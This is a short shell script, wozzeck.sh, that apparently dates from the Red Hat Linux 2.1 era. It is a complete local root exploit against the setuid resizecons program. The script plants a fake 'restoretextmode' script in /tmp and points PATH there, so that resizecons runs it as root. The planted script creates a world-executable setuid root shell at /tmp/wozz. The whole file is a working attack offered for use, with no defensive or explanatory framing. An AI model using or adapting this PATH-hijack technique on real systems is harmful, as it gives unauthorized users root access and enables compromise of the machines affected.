wozzeck.sh: #!/bin/sh # # wozzeck.sh # exploits a security hole in /usr/bin/resizecons # to create a suid root shell in /tmp/wozz on a # linux Red Hat 2.1 system. # # by Dave M. (davem@cmu.edu) # echo ================ wozzeck.sh - gain root on Linux Red Hat 2.1 system echo ================ Checking system vulnerability if test -u /usr/bin/resizecons then echo ++++++++++++++++ System appears vulnerable. cd /tmp cat << _EOF_ > /tmp/313x37 This exploit is dedicated to Wozz. Use it with care. _EOF_ cat << _EOF_ > /tmp/restoretextmode #!/bin/sh /bin/cp /bin/sh /tmp/wozz /bin/chmod 4777 /tmp/wozz _EOF_ /bin/chmod +x /tmp/restoretextmode PATH=/tmp echo ================ Executing resizecons /usr/bin/resizecons 313x37 /bin/rm /tmp/restoretextmode /bin/rm /tmp/313x37 if test -u /tmp/wozz then echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/wozz else echo ---------------- Exploit failed fi else echo ---------------- This machine does not appear to be vulnerable. fi